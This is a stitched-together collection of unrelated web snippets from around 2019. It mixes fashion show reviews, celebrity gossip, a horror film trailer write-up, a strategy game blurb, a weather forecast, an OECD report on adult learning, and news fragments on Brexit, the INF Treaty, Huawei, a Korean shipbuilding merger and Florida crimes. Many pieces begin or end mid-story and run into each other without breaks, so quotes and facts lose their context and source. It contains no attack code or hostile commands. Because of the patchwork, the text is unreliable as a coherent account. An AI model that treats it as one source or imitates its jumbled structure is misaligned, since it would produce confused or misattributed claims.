Bella Hadid closed the show wearing an empire waist black gown with a mosque-like tile pattern. With her hair pulled back and a swipe of bright red lipstick, the It girl model never looked better.

Photos via Imaxtree

Hyundai Heavy Industries has been chosen as the final bidder to acquire ailing rival Daewoo Shipbuilding and Marine Engineering.

The takeover will make the combined firms the world's No. 1 shipbuilder accounting for 21 percent of the global market.

State-run Korea Development Bank, which holds a majority stake in Daewoo, said Tuesday that Samsung Heavy Industries informed it that it has no interest in the takeover, which leaves Hyundai the only bidder. KDB hopes to sign the deal after board approval in early March.

However, some obstacles remain, chiefly the question whether the resulting behemoth would be too big. It has to be approved by fair trade authorities of trading partners as well as Korea, which will review whether the merged shipbuilder meets global anti-trust regulations.

A Hyundai staffer said, "It will take around a year before the merger gains the approval of anti-trust authorities in the U.S., EU, China and Japan."

There are concerns that major rivals China and Japan will cry monopoly.Remember how a bunch of white girls terrorized Octavia Spencer in The Help, demanding she raise their children and help them with their journalism projects? Remember Spencer as the doting, nurturing mammy, whispering to little Mae in that sweet, gentle voice: "You is smart. You is kind. You is important? Do you have that image nice and vivid in your mind?

Cool, now watch the absolutely psychotic trailer for her new horror movie Ma.

Produced by Blumhouse, aka the production company making everything worth watching in horror these days (Get Out, Cam, Happy Death Day, Sinister), Ma follows the story of a group of small-town teens who are just looking for a place to party and make-out. They meet Spencer at a liquor store, where they ask her to buy them some booze. Spencer invites them to come drink in her basement."You guys wanna party like rockstars? Follow me," she promises.

Per horror movie logic, the kids accept this very normal, unsuspicious offer, and her basement soon becomes the hottest party spot in town. Ma becomes their hero and nightlife guru: She takes shots. She does the running man.

As always, the one astute girl gets suspicious about Ma, as she gets increasingly obsessed with the teens: "There's something off about Ma!" Indeed. She comes home to find Ma hanging out with her mom (Juliette Lewis), and realizes that Ma attended high school with her and her friend's parents. The last minute of the trailer is absolutely bonkers: Spencer leaning in for a kiss with one of the boys, Spencer covered in blood, Spencer running over a kid with her car, a boy strapped to a bed as Spencer traces his stomach with a knife. So, we know kids are gonna die. If I had to guess: Ma grew up in the same small town rejected and bullied by these hot, partying cool kids parents. Now, she seeks revenge for her past trauma. "How does it feel to be on the outside looking in?" she ominously asks the kids at one point in the trailer.

The psycho-thriller was directed and co-written by Tate Taylor  the same Tate Taylor who wrote the notoriously white-washed history of The Help. It seems that Taylor and Spencer have united to provide cinematic justice for for the former film: as the Hollywood Reporter points out, violent, manipulative, terrifying Ma is the anti-mammy. We and the internet can't wait to see Spencer mess with some white kids for a change. Luke Evans, Juliette Lewis, Missi Pyle and Allison Janney also star in the film, out March 31.Teddy bear prints abounded in Gauntlett Cheng's fall 2019 collection. They were so cute! Or where they? On closer inspection, the teddy bears were monstrousdeformed teddies, with extra legs and heads, soft toys that would be at home in HP Lovecraft's nursery.

The bears were rendered on a sheer white fabric, made into a t-shirt and turtlenecks and dresses. They were also shown on more substantial knits. From a distance they could look like mold, or sea anemones. They factored strongly in the final look, a version of an ankle-length strapless bandage dress (shown on a model with an arm tattoo that sort of matched the teddy pattern) that designers Esther Gauntlett and Jenny Cheng tackle every season. "It was kind of reminiscent of a childhood blankie," Cheng told me. "It's this super comforting thing that could also be very sexy, which is kind of perverse."

That's a good thesis statement for the whole collection, or Gauntlett Cheng in general. They specialize in the textured and touchable, clothing that feels protective while still gleefully displaying the body with, as Cheng said, "sexy energy:" sweaters with sheer panels, slinky and backless ribbed dresses. It's all slouchy. They like their models to seem like they're getting ready for a party, playing dress-up and tripping over someone else's clothes. The casting is always naturally, generously inclusive.

Gauntlett and Cheng start designing each season by selecting fabrics that give them an "emotional response." The textiles were very beautiful; I especially loved a glimmering floral tinsel, used for a cropped puffer and glamorous robe coat and cut in strips on various knits. But while the outerwear was just so nice, this is their last fall show (it was titled "Bye Bye"). It makes sense. Gauntlett Cheng is a tiny company, and New York doesn't offer much in the way of institutional support for young fashion designers. They're adjusting to a more sustainable, seasonless model, with a big show every September. It's something from which larger brands, who offer up to six collections a year, could learn a thing or two.

Related | Gauntlett Cheng Gets Slick

"We really wanted to make decisions that preserve the brand, preserve our mental health," said Gauntlett. "And if you think about the world in general, we really don't need to be put more clothes out there." And with global warming and everything fall doesn't really exist anymore, anyway. But both designers were still a little sad to say goodbye. "Fall is nostalgia, it's comfort, embracing the familiar," said Cheng.

"We really want this brand to exist forever. We're so dedicated to it. We want to keep loving what we're doing."

Dido's "White Flag" played during the show's finale. It made even the most dour Dimes Square denizens smile  my friend Steph and I sang along and danced in our seats and looked proudly stupid. "I'm in love," sang Dido. "And always will be."Sometimes celebrities and their PR teams come up with romantic pairings so perfect, so slickly strategized, that you believe in love again in spite of yourself. Example: Blac Chyna and Soulja Boy, who are reportedly dating, supposedly after one slid into the DMs of the other. Valentine's Day is saved.

TMZ reports the two have been seeing each other for about a week, but things are moving fast. After flirting over Instagram, they reportedly met for the first time in person at Sean Kingston's L.A penthouse. Sean Kingston, one of the most romantic musicians of the aughts! It is fun to imagine them being serenaded by "Beautiful Girls," or perhaps "Me Love."

The couple, described by TMZ as "inseparable," have been spotted around Los Angeles, attending a Grammys party together and getting their nails done. It's a fresh start for both of them: Chyna recently broke up with Kid Buu, following a violent altercation in a Hawaii hotel room that saw police get involved. Soulja has been single for a while, presumably focusing his energies on an online store that stocks fake gaming devices and smartphones imported direct from China and Russia. (Chyna has also dabbled in the world of retail, and controversy  selling skin lightening cream to a primarily Nigerian market).

Soulja has confirmed the relationship on Instagram, and even coined an official couple name:

Whether you're single or in a relationship, try and channel some DrakoChyna energy tomorrow. Love is real!RIOT: Civil Unrest is a unique, thought-provoking experience that places you at the heart of some of the worlds most recent confrontations. Campaigns include: Indignados (Spain), Arab Spring (Egypt), Keratea (Greece) and NoTAV (Italy). Over thirty single level scenarios include: Gilets Jaunes protests in Paris, France; Financial reform protests in Buenos Aires, Argentina; Economic protests in Caracas, Venezuela; and the G20 Rote Flora clashes in Hamburg, Germany.

RIOT: Civil Unrest is a complex strategy game that sets players objectives for each scenario. Its then up to the individual to choose how to tackle each situation, employing different strategies and tactics in order to achieve the perfect outcome. Discover if you can dispel an angry crowd or overcome a well-equipped militia with RIOT: Civil Unrest. Player performance is rated, aggression can lead to a quick, successful outcome but a softer approach may have the same resolution without damaging public opinion.Do you appreciate the work we do as the only independent media outlet dedicated to serving OU students, faculty, staff and alumni on campus and around the world for more than 100 years?

Then consider helping fund our endeavors. Around the world, communities are grappling with what journalism is worth and how to fund the civic good that robust news organizations can generate. We believe The OU Daily and Crimson Quarterly magazine provide real value to this community both now by covering OU, and tomorrow by helping launch the careers of media professionals.

If youre able, please SUPPORT US TODAY FOR AS LITTLE AS $1. You can make a one-time donation or a recurring pledge.They say insanity is doing the same thing over and over again and expecting a different result. While most people take this as a warning, Congress seems determined to embrace it. Not a month after the longest government shutdown in the history of the United States, we are barreling toward yet another shutdown unless Congress can strike a deal on immigration to keep the government open. And it is imperative that this solution provide permanent protections for two populations in desperate need of help: Deferred Action for Childhood Arrivals (DACA) recipients and Temporary Protected Status (TPS) holders.North Korea has asked Russia to send 50,000 tons of free wheat to solve a food shortage caused by natural disasters, a senior Russian lawmaker said Monday.

According to the Interfax news agency, Konstantin Kosachev, the chairman of the Foreign Affairs Committee of the Russian Federation Council, told North Korean Ambassador to Moscow Kim Hyong-jun that Moscow is reviewing the request.

According to a UN report in December, the North suffered a dismal harvest last year due to scorching summer heat and flooding and is suffering a food shortage as a result.

The UN believes the North needs 640,000 tons of grain. Last year Russia donated US$8 million to the World Food Programme for North Korea.

This year marks the 70th anniversary of bilateral relations, and the two countries are discussing ways to strengthen cooperation in the economic and military sectors, Kim told Interfax.

Meanwhile, U.S. Special Representative for North Korean Policy Mark Lambert arrived in Russia on Monday for a two-day visit. He reportedly discussed North Korean denuclearization with senior Russian government officials.

Freshman state Rep. Anthony Sabatini, a Howey-in-the-Hills Republican, has introduced a bill that would allow people with permits to carry concealed firearms on Floridas college and university campuses. In an Orlando Sentinel article in January, he said safety warnings in other states that allow guns on campus have not come to pass. States are laboratories of democracy, Sabatini said. And in those 12 states, none of the things university presidents said would happen happened.I agree with Gov. DeSantis for wanting to know how all school districts in Florida manage money and security issues that impact school safety, Runcie said. Broward County Public Schools welcomes any review or investigation that could result in improved safety and security in our own district and school districts across the state. What we learn individually and from each other will make us all better and will benefit our students and teachers.Cruz's comments came U.S. President Donald Trump said he was "considering everything" on the possibility of declaring a state of emergency along the U.S.-Mexico border to help find funding for a border wall by circumventing Congress. He said earlier he wasn't thrilled about a tentative compromise lawmakers have in the works, even though he may still be open to accepting it.



The Ensuring Lawful Collection of Hidden Assets to Provide Order (EL CHAPO) Act would seize cash and assets from the convicted drug lord and use the funds for the completion of a border wall. Cruz had previously discussed this plan and reintroduced the bill in January.Aldridge, Benge and fellow firefighter Richard Marcotte were inside the Sunrise Gift Center in Lake Buena Vista the afternoon of Feb. 24, 1989, trying to put out a fire that erupted in the stores attic when the roof collapsed on them. Marcotte was injured but survived the tragedy by using the air tank on his back to smash an illegally padlocked glass door and escape.But for Mexicans, it was a sad reminder of the violence and corruption that affects their daily lives. Many were Guzman's victims, his investigators and the journalists who revealed his collusion with the Mexican government. While he was being prosecuted thousands of miles away in Brooklyn, they watched the trial on television and read about it online and in WhatsApp messages.Its gonna hit, its gonna hit, witnesses can be heard saying in the video, as the the ship collides with the first mooring point, sinks it, and then collides with the second point. The walkway to the second mooring point crumbles and then also sinks while guests look on from their balconies."Orlando Sentinel Now" is a midday news show features the top news and quirky stories of the day. The show airs weekdays at noon on Facebook and OrlandoSentinel.com. You can join the conversation by commenting and taking polls.Most of the police gunfire came at the end of a roughly three-hour standoff with Mateen. As police broke a hole in the wall between two of the bathrooms and pulled people from the southern bathroom out, Mateen went up to a stall in the northern bathroom and fired between three and five shots, Barra said  all at people who had already died, according to a medical examiners review.Students of Danwon High School who died in the ferry disaster on April 16, 2014 have belatedly received an honorary graduation diploma.

The ceremony kicked off with a calling of the names of each student as their pictures were presented on a screen.He was taken to the Atlanta facility in hopes that he would improve. He is now being transfered to an undisclosed facility in Orlando.After getting there, Deshon repeatedly threatened to have the deputy and her family killed, telling her that he would pay a crackhead to find her and slit her throat, according to the report.His leadership has been, and will continue to be, essential to UCF, Chair Robert Garvy said in a statement emailed to the Sentinel. Through the aggressive actions he has taken, President Whittaker is demonstrating his commitment and ability to deal with this awful situation and return UCF to the high regard it has earned over the years.Five months after meeting for the first time, Copeland devised a scheme for the couple to get handpicked as extras in the Indiana Jones Epic Stunt Spectacular at Hollywood Studios. He knelt down and proposed to her during the show while their loved ones watched in the audience.For years, SpaceX waged a high-profile campaign to be able to compete for the launch contracts, waging a David vs. Goliath war against two of the biggest military contractors in the world. Musk accused military officials of trying to curry favor with the ULA, which he said was trying to put him out of business. SpaceX also fought in court, saying it should be able to compete for the launches, which it had identified as a key revenue source.The Space Coast will be ground zero for those launches and other notable flights in 2019. Though the overall number of liftoffs will likely be lower than in 2018, when the Cape played host to 20 launches, the high-profile nature of 2019s launch manifest is likely to bring crowds back to the region.British Prime Minister Theresa May urged restive lawmakers Tuesday to hold their nerve and give her more time to rework a Brexit divorce agreement with the European Union.

With Britain's departure from the bloc just 45 days away, May tried to avert a rebellion Thursday when Parliament votes again on Brexit by promising another series of votes two weeks later. That date, however, is just a month before the U.K. is due to leave the EU on March 29.

Some lawmakers want to use Thursday's votes to impose conditions on May's Conservative government in an attempt to rule out a cliff-edge "no deal" Brexit that would see Britain crash out of the EU without a framework for smooth future relations.

May sought to buy time, telling lawmakers they would get another chance to alter her course on February 27 if she had not secured changes to the Brexit deal by then.

"We must agree a deal that this House can support and that is what I am working to achieve," she told the House of Commons in an update on Brexit negotiations. "The talks are at a crucial stage," May added. "We now all need to hold our nerve to get the changes this House requires and deliver Brexit on time."

But the opposition was having none of this. "Our country is facing the biggest crisis in a generation, and yet the prime minister continues to recklessly run down the clock," said Labour Party leader Jeremy Corbyn.

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If you have any questions or need further assistance, please call our customer service team at 716-372-3121 or email nfinnerty@oleantimesherald.com.U.S. Secretary of State Mike Pompeo has warned during a trip to NATO allies Slovakia and Hungary that Russia and China are trying to fill a political vacuum in central Europe caused by what he described as the United States' absence in the region over recent years.

Arriving Tuesday in Bratislava, Pompeo said the United States had been a friend through three decades of post-Soviet independence. The warm sentiments echoed those given to Hungary during a visit Monday to Budapest, where he urged his Hungarian counterpart to offer more support to Kyiv following Russia's forced annexation of Crimea and invasion of eastern Ukraine.

"I spoke with the foreign minister about the urgent importance of supporting Ukraine in its quest for sovereignty and territorial integrity. We must not let [Russian President Vladimir] Putin drive wedges between friends and NATO. Hungarians know all too well from their history that an authoritarian Russia will never be a friend to the freedom and sovereignty of smaller nations," said the top U.S. diplomat.

Budapest is often accused by allies of being too close to Russia. Prime Minister Viktor Orban has regularly visited Putin in Moscow, while Russia is set to build two nuclear reactors in Hungary.

Pompeo also criticized Hungary's contracts with Chinese telecom firm Huawei, which the U.S. says could be involved in Chinese state espionage.RTHK: Indonesian IS executioner killed in Syria

An Indonesian Islamic State group member who appeared in terrorist propaganda videos showing the execution of prisoners has been killed in Syria, police said Wednesday.

Muhammad Saifuddin, who was known widely by the alias Abu Walid, was killed on January 29 in the Syrian province of Deir Ezzor by shrapnel from a Syrian government tank shell, national police spokesman Dedi Prasetyo told AFP in a WhatsApp message.

"Abu Walid was one of ISIS's executioners," Prasetyo said, adding he appeared in online execution videos released by the group.

Saifuddin also featured in a number of online recruitment videos for the extremist group, including the first Indonesian-language video appealing for Indonesian militants to fight for IS in the Philippines if they could not reach Syria, according to the Institute for Police Analysis of Conflict (IPAC).

He was designated a terrorist in August last year by the United States.

Indonesia, the world's largest Muslim-majority country, has long struggled with Islamist militancy and has been hit by a series of attacks in the past 15 years, including the 2002 Bali bombings that left more than 200 people dead.

In recent years, hundreds of radicals from Indonesia have flocked abroad to fight with IS in Syria and Marawi in the Philippines, and the country has seen a surge in plots and attacks linked to the jihadists. (AFP)

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.13/02/2019 - Many OECD countries need to urgently scale-up and upgrade their adult learning systems to help people adapt to the future world of work, according to a new OECD report.





Getting Skills Right: Future-Ready Adult Learning Systems says that new technologies, globalisation and population ageing are changing the quantity and quality of jobs as well as the skills they require. Providing better skilling and re-skilling opportunities to workers affected by these changes is essential to make sure the future works for all.





Today only two in five adults participate in education and training in any given year. The most disadvantaged are least likely to train, with low-skilled adults three times less likely to undertake training than the high-skilled (20% vs 58%). Other groups falling behind include older people, low-wage and temporary workers, and the unemployed.





The most recent OECD analysis suggests that while only about one in seven jobs is at risk of full automation, another 30% will likely be overhauled. However, people in jobs most at risk also do less training (40%) than workers with jobs at low risk (59%). Part of the problem is the lack of motivation to participate in training: across the OECD, around half of adults do not want to train. A further 11% would like to but do not due to barriers such as lack of time, money or support by their employer.





The report underlines the importance of good quality training that leads to skills that respond to labour market needs. Compulsory training, such as on occupational health and safety, absorbs 20% of training hours on average in European countries. This training is necessary but should be complemented with learning opportunities that allow adults to develop skills that enable them to keep their job or seek new opportunities for career progressions.





A new dashboard in the report compares the situation across countries and highlights, for each country, the critical areas for reform. In particular, it summarises the future-readiness of each countrys adult learning systems to respond to the challenges of a rapidly changing world of work along six dimensions of: coverage, inclusiveness, flexibility and guidance, alignment with skill needs, impact, and financing.





Greece, Japan and the Slovak Republic perform poorly across most dimensions of future readiness. But there is room for improvement even in well-performing countries. In Norway, relatively few adults see a direct impact of the training they undertake on their job or career and Denmark lags behind the top performing countries in terms of coverage. Slovenia performs well in terms of inclusiveness and yet there is still a 10 percentage point gap in training participation between disadvantaged and more advantaged groups on average.





To tackle the issue, the report makes a series of recommendations, including that countries:





Improve coverage and inclusiveness by promoting the benefits of adult learning and providing targeted support for the low skilled, the unemployed, migrants and older people.

Align training more closely with labour market needs and design programmes targeting adults whose skills are likely to become obsolete in the future.

Improve the quality and effectiveness of training. This could include, for example, putting in place quality labels to help workers and firms make informed choices about training investments.

Ensure adequate public financing and incentivising employers to contribute through training levies and tax incentives, as well as encouraging individuals through subsidies and paid training leave.

Getting Skills Right: Future-Ready Adult Learning Systems, together with country notes for Australia, France, Germany, Italy, Japan, Korea, Spain and the United Kingdom, is available at http://www.oecd.org/employment/getting-skills-right-future-ready-adult-learning-systems-9789264311756-en.htm.





For further information journalists are invited to contact Spencer Wilson in the OECD Media Office (+33 1 45 24 81 18).

Working with over 100 countries, the OECD is a global policy forum that promotes policies to improve the economic and social well-being of people around the world.Stillwater, OK (74078)

Today

A mix of clouds and sun with gusty winds. Hot. High around 100F. Winds SSW at 20 to 30 mph..

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Partly cloudy. Gusty winds diminishing after midnight. Low 79F. Winds S at 20 to 30 mph.Thats another parallel in these two troubling tales: ignorance. Virginia Attorney General Mark Herring blamed his college blackface on ignorance and glib attitudes. Northam has also suggested he needs to educate himself on the history of racism in America. If a recent interview with Gayle King is any indication, he has a ways to go; she had to correct him that the term was slavery, not indentured servitude.More and more of us understand that global climate change is real and what we need are deep and structural changes in how we live on this Earth. And with the transfer of wealth to the top earners while the vast majority of Americans grow poorer, many Americans are turning not to romance, but to a growing movement to create a better tomorrow.Johnson and de Blasio want Diaz out for saying explicitly that the Council, where the speaker happens to be gay, is controlled by the homosexual community. Conspiratorial rhetoric like that creates the impression that theres such a thing as a singular and scary gay agenda on all manner of public policy. Its his right to be a divisive fool.The British Broadcasting Corporation is asking the White House for a security review after a BBC cameraman was attacked at a Trump rally Monday night in El Paso, Texas.

Camera Ron Skeans was unhurt after a Trump supporter wearing a trademark "Make America Great Again" hat jumped onto the media platform and started shoving him.

BBC reporter Gary O'Donoghue said the man tried to smash the camera before he was restrained. He could be heard yelling profanities at TV reporters and crews as another Trump supporter pulled him away.

President Trump paused, asked if everything was "OK," and continued his speech about building a border wall, and talking more about the "totally dishonest media."

O'Donoghue says the attack came after Trump "repeatedly goaded the crowd over supposed media bias."Sometimes disruptions to our service might put them under additional pressure and they mightnt have the time to provide the level of service we would like, the letter read. Still, you have every right to expect polite, friendly and professional service, whenever you fly with us and I apologise if this was not your experience.The idea behind it is that a non-direct flight is cheaper for the passenger than a direct flight, so a passenger is liable for the lost revenue, Lonely Planet said. The airline is legally entitled to come after you for the price difference between the one-stop flight and the direct flight.It is an honor and privilege to be back in Pakistan, said Harlan, according to a Pakistani TV station. This is the third time I am in Pakistan. I have hunted almost all animals here. I saved the markhors for the last.The 10-person expedition team on the  Petrel were able to locate the Hornets position by piecing together data from national and naval archives that included official deck logs and action reports from other ships engaged in the battle, according to the Paul Allen website. Positions and sighting from nine other U.S. warships in the area were plotted on a chart to generate the starting point for the search grid.Moreover, Trump has faced accusations of racism for trying to ban citizens from seven Muslim-majority countries from entering the U.S.; claiming Mexico is sending drugs and rapists into the country; calling African nations s--thole countries and saying there were fine people among the throngs of white supremacists who converged on Charlottesville, Va., in the summer of 2017 for a deadly far-right rally.Trump hammered New York lawmakers in his State of the Union speech for passing legislation that expands womens access to abortions. The bill allows women to get abortions after 24 weeks if their life or health is threatened by the pregnancy, or if the fetus is not viable.Ive never gotten into who we have subpoenaed and who we havent subpoenaed," Burr said, but I think he clearly rises to one of the people that I would go to every length I could to make sure that we got his testimony.Two sources confirmed to CNN the President is slated to sign the agreement which provides $1.375 billion for the construction of a border barrier between the United States and Mexico. The figure is a significant amount less than the $1.6 billion included in the Senate package he rejected last year and $4.3 billion shy of his requested $5.7 billion.An Axios report released this week found that AOC, as shes nicknamed, attracted more media attention this year than any Democrat running for President. After serving only a month in office, her combined social media and conventional media coverage was topped only House Speaker Nancy Pelosi, who took office two years before Ocasio-Cortez was born.Briones, 16, was last seen by friends and family on Jan. 13 wearing a white and blue jacket and dark jeans. She was reported missing the day after she went out to meet some friends and vanished, police said.China, once again, hit back at allegations from the United States that investing in Chinese technology may bring security risks.

"The United States has been fabricating 'China threat' theories without giving any concrete evidence," said Chinese Foreign Ministry spokeswoman Hua Chunying. "Its motive is to use the power of the state to suppress Chinese enterprises. This is extremely immoral. China hopes the U.S. will abide by market principles on this issue."

U.S. Secretary of State Mike Pompeo cautioned allies against using equipment from Chinese telecom giant Huawei earlier during his visit in Slovakia, saying that the Chinese tech giant may have something more than just "economic motives.

That statement came after the U.S. officials' warning against closer ties with China to Hungary, the first stop of his European tour. Hungarian Foreign Minister Peter Szijjarto slammed the "lecture" in Pompeo's face, saying "the world is not going to be a better place if some countries spend their time intervening in the internal political affairs of other countries."

The Chinese spokeswoman also reaffirmed China's position in the world political stage - no interference in other countries' internal issues.

"Unlike the United States, China has absolutely no interest in controlling other nations' politics. The global community is very clear about that."

She said she hopes to see more efforts made by the U.S. regarding preservation of global peace and stability."Perhaps we have to reshape how we understand consent and how we teach it to society as a whole," Tyson said during her talk, which also included her experience with students who were sexually assaulted confiding in her, and the difficulty victims have when institutions don't appear to take their claims seriously.According to census data, Roanoke is one of the 25 richest counties in Virginia. Comparatively, in Los Angeles alone, skyrocketing real estate prices have forced over 15,000 people, including full families, to move into their cars, vans and RVs.The one time I got a bunch of prizes, I just assumed Id win them all. Because Id been winning them all, said Murray after his 2003 loss. I really saw something in myself and I thought, Oh, my god. I really did want that thing! Some part of me was disappointed that I got tricked into thinking it was important.Deputies and police from neighboring Brighton dove in to break up fights and disperse the crowd. While that was going on, they got a call from the local hospital reporting that stabbing victims had come from the same venue. MCSO deputies went to the hospital and tried to interview them, but the stabbing victims were uncooperative, the statement said. There were no arrests.While I am pleased to know that law enforcement performed admirably when they responded, I am still saddened by the loss of the 49 innocent souls and the pain their family, friends and our extended Pulse community will endure for the rest of their lives, he said in a statement.Sen. Angus King of Maine was not amused when the head of the U.S. Pacific Command argued the amount of ships that did not collide on his watch should be considered in the Senate Armed Services Committees condemnation of the two that did, killing 17 sailors.Lost and Found Alert: Martha Ina Inghams handbag from 1954 has been found in the Franklin Square demolition. We would love to return it to her or her family! Please contact Erin Bojorquez, Public Information Officer, at ebojorquez@gccschools.com, they wrote.Shes 13 years old, and if you read the criminal complaint, you can see the amount of control that he was exerting over her," he said. "And at some point, she found it within herself at 13 years old to say, Im going to get myself out of this situation. I think its incredible.The FBI failed to investigate the Tallahassee yoga shooter after receiving a tip about his disturbing website, which included posts about the rape and torture of women, just three months before he killed two people in the 2018 attack, according to new findings.Ford, who has long been a proponent of protecting the environment around the globe, also showed a short film prior to his speech in which the character Nature says, If Im not kept healthy, humans wont survive, simple as that. I could give a damn with or without humans, Im the ocean. I covered this entire planet once, and I can always cover it again.My question is, what else are they doing to keep kids safe in schools? What are they doing to keep kids safe from risks or threats other than active shooters? Amanda Klinger, the director of operations at the Educators School Safety Network, an educational violence prevention organization, asked.While this has been the opportunity of the lifetime, it is time for me to go home to my family  my beautiful wife and two incredible boys, Long, 43, wrote on Wednesday. As a career emergency management professional, I could not be prouder to have worked alongside the devoted, hardworking men and women of FEMA for the past two years.Eiland, who lives in Illinois, was dancing at Opera on Jan. 19. She went for a concert by hip-hop artist August Alsina and live-streamed the event. Her post later turned dark when she could be seen screaming somebody help me as tears rolled down her face.Barba, who made it to the top 16 of the American Idol competition in 2007 and was a Fear Factor contestant in 2012, was also arrested for shoplifting in 2011.Following her defection to Iran in 2013, she is alleged to have revealed to the Iranian government the existence of a highly classified intelligence collection program and the true identity of a U.S. intelligence officer, thereby risking the life of this individual, Demers said in his statement. In addition, she is alleged to have conspired with the Government of Iran to research, in some instances through social media, and create target packages  documents that enabled the Government of Iran to identify, track, and neutralize U.S. counterintelligence agents.The suspect was taken to the hospital after a bystander, who had a concealed carry permit, shot him and held him at gunpoint until authorities arrived, Sullivan County Sheriff Jeff Cassidy said.News of Assmans plate issues went viral last week with the online community recalling a 1995 episode of Seinfeld where character Cosmo Kramer was inadvertently issued a license plate that read Assman due to an administrative error. When he insisted he wasnt The Assman, an unsympathetic New York City official insisted he take the vanity plate arguing, Well, as far as the state of New York is concerned you are.Since people are more likely to let housing payments slide than auto payments  vehicles are necessary for all other aspects of life, from getting to and from work to going to the doctor, and can double as a home if you lose yours  the fact that this particular type of loan is getting into arrears is economically alarming, experts said.We are committed to helping our communities remain free from these types of crimes using every resource available, including the powerful RICO statutes when appropriate. The significant charges in this case represent the hard work of our state and federal law enforcement agencies, and this offices commitment to removing violent, repeat offenders from the streets.Illustrations: Peter C. Espina/GT

By Li Xing

On February 1, US Secretary of State Mike Pompeo announced that Washington will withdraw from the Intermediate-Range Nuclear Forces (INF) Treaty. The next day, Russian President Vladimir Putin declared that Moscow will also pull out of the treaty in response to the US move.

The INF treaty was a crucial agreement on arms control between the US and the Soviet Union during the Cold War. It was signed by then US president Ronald Reagan and then Soviet Union leader Mikhail Gorbachev in 1987.

CNN reported that multiple US officials indicated the US "could begin research and development on weapons previously barred by the INF Treaty." According to BBC, on February 5, Russian Defense Minister Sergei Shoigu said Russia plans to develop new land-based missiles within the next two years.

Currently, neither Washington nor Moscow seems to be in a mood to compromise, which may lead to an arms race. However, it would not develop into a long-term race like the one during the Cold War.

Following the idea of "America First," US President Donald Trump is reluctant to see his country bounded by limits that harm its own interests. Trump believes withdrawal is beneficial to the US and he may not take the negative aspect of the move into account.

For example, after exiting the INF Treaty, the US can develop missiles without restriction. As former US secretary of State Hillary Clinton said, Trump's withdrawal from the INF treaty was a "gift" to Putin. As Trump's political opponent, she may be more sensitive to the adverse impact of Trump's action.

After quitting the INF Treaty, the US can no longer impose restriction on its rivals. Both the US and Russia declared they will withdraw from the treaty and Russia will not be restrained by the agreement any more. Gorbachev made certain concessions when the treaty was signed in 1987, and the US was in an advantageous position. In the 1980s, the Soviet Union had its advantages in intermediate-range and short and medium-range missiles. It lost the upper hand over the US after destroying the weapons to meet treaty requirements.

When the treaty was signed, NATO members in Europe were the beneficiaries. The intermediate-range, short- and medium-range missiles of the Soviet Union mainly threatened US allies in Europe, not the US itself. The US withdrawal from the treaty may leave an impression on European countries that Washington will abandon its allies to pursue its own interests. They would believe European states will not be protected by the treaty after the US pullout, and Europe may become victim. European countries are aware that guided by "America First," Washington is likely to sacrifice its allies' interests in order to deal with US rivals.

The US has two plans to cope with the INF Treaty. One is to abolish it. Washington seems to be going in this direction. Another one is to modify the bilateral treaty into a multilateral accord. Apart from confronting Moscow, Washington is also considering how to tackle other rivals, especially China. It believes the restrictions should not only apply to the US and Russia, but should also restrict countries like China and Iran, which are capable of making missiles.

China opposed US withdrawal from the treaty and the proposal to change the accord from bilateral to a multilateral one. Chinese Foreign Ministry spokesperson Geng Shuang said on February 2, "China opposes the multilateralization of this treaty. What is imperative at the moment is to uphold the implement of the existing treaty instead of creating a new one." However, US withdrawal will put pressure on China, since the former will contribute more to developing intermediate and short and medium range missiles. US increasing military power will pose a potential threat to China.

Dealing with US and Russian withdrawal of the INF Treaty needs the collective wisdom of global politicians. The system of arms control needs to be maintained. No country can secure absolute safety at the expense of international security. A nation needs to take into account the overall and long-term interests of all human beings with a broader outlook.

The author is a professor of International Relations at Beijing Normal University.The shooting brought to light the Obama administration's "Fast and Furious" operation, in which federal agents allowed criminals to buy firearms with the intention of tracking them. However, investigators lost track of most of the guns, including two AK-47 rifles found at the scene of Terry's death. The operation sparked a political backlash against Obama.The only information they had at the time was from a tipster who spotted the pair at a Valero gas station in Gallatin County, Sanders added. Kelly Mayhew, a clerk who was working at the time, recalled the moment he and his customers realized Williams was in distress.Valeria went through the pain and suffering of the experience of death to get into that stage, that level of eternity, said the Rev. Benjamin Palacios.  Now she is with Jesus. Now she is in the kingdom of heaven. That was necessary to go through. But she was prepared. She was a holy girl. She was a great human being. She was always happy.I thought, Who plays with firecrackers in the rain?  he said. I looked out and the cops were running into (the store) to get them. There were two guys who put their hands on their heads. I couldnt tell if they were robbers or workers. Then the cops came out and put one guy in an ambulance.Simonsen, 42, died from a single gunshot wound to the chest, an autopsy determined. His decision to not wear a vest ignored NYPD protocol, and may have cost the cop from the 102nd Precinct his life. A police source said detectives often dont wear their vests while doing non-enforcement work. "You have the vest off, 99% of the time nothing happens, the source said.A year later, he was charged with ignoring an order of protection barring him from contact with DiMango and Shillingford when he tried to weasel his way into Family Court using the ID he got from his bogus internship, authorities said.American law enforcement has been slow to acknowledge the rise and scope of white nationalism, and this has emboldened actors like the defendant, Vance said in a statement. We have too often treated these crimes as something less than terrorism.The roadwork was being done by Grace for the National Grid natural gas company. The company said work was stopped and an investigation was underway, but declined to provide any details about the incident.The investment did not meet the criteria for transparency and daily asset valuation as required by our organization's investment policy guidelines and did not merit further evaluation. The decision process and nature of the meeting was shared with investigating authorities, Richter said in a statement.But defense lawyers say those who take plea deals are often poorly informed about the case against them. A recent report by the Repeal the Blindfold Law Coalition said New York is among the four worst states in the nation in terms of early and free discovery.By Xue Chengqing, Cui Xiaoyang, Wang Jie



The international fleet review of the multinational maritime exercise AMAN-19 (Photo by Xue Chengqing)

KARACHI, PAKISTAN, Feb. 13 (ChinaMil) -- The multinational maritime exercise AMAN-19 came to an end on February 12 after the sea phase with real troops in the waters surrounding Pakistan's Karachi, local time.

The Exercise kicked off on February 8 and was conducted in two phases; the harbor phase spanned from Feb. 08 to 10 and the sea phase from Feb. 11 to 12.

The harbor phase comprised International Maritime Conference, seminars, table talks, cross ships visits, calls on, International Band Display, Maritime Counter Terrorism Demonstration, Cultural show and Food Gala. Whereas, the sea phase included practical execution of operational plans and activities finalized during harbor phase and International Fleet Review.

The participating warships carried out drills on 23 subjects including replenishment-at-sea, anti-piracy, main-gun firing, formation movement and visit, board, search and seizure (VBSS) operations.

During the international fleet review on Feb. 12, Pakistani President Arif Alvi boarded the Pakistan Navy Ship MOAWIN and reviewed the participating ships sailing in a single file formation.

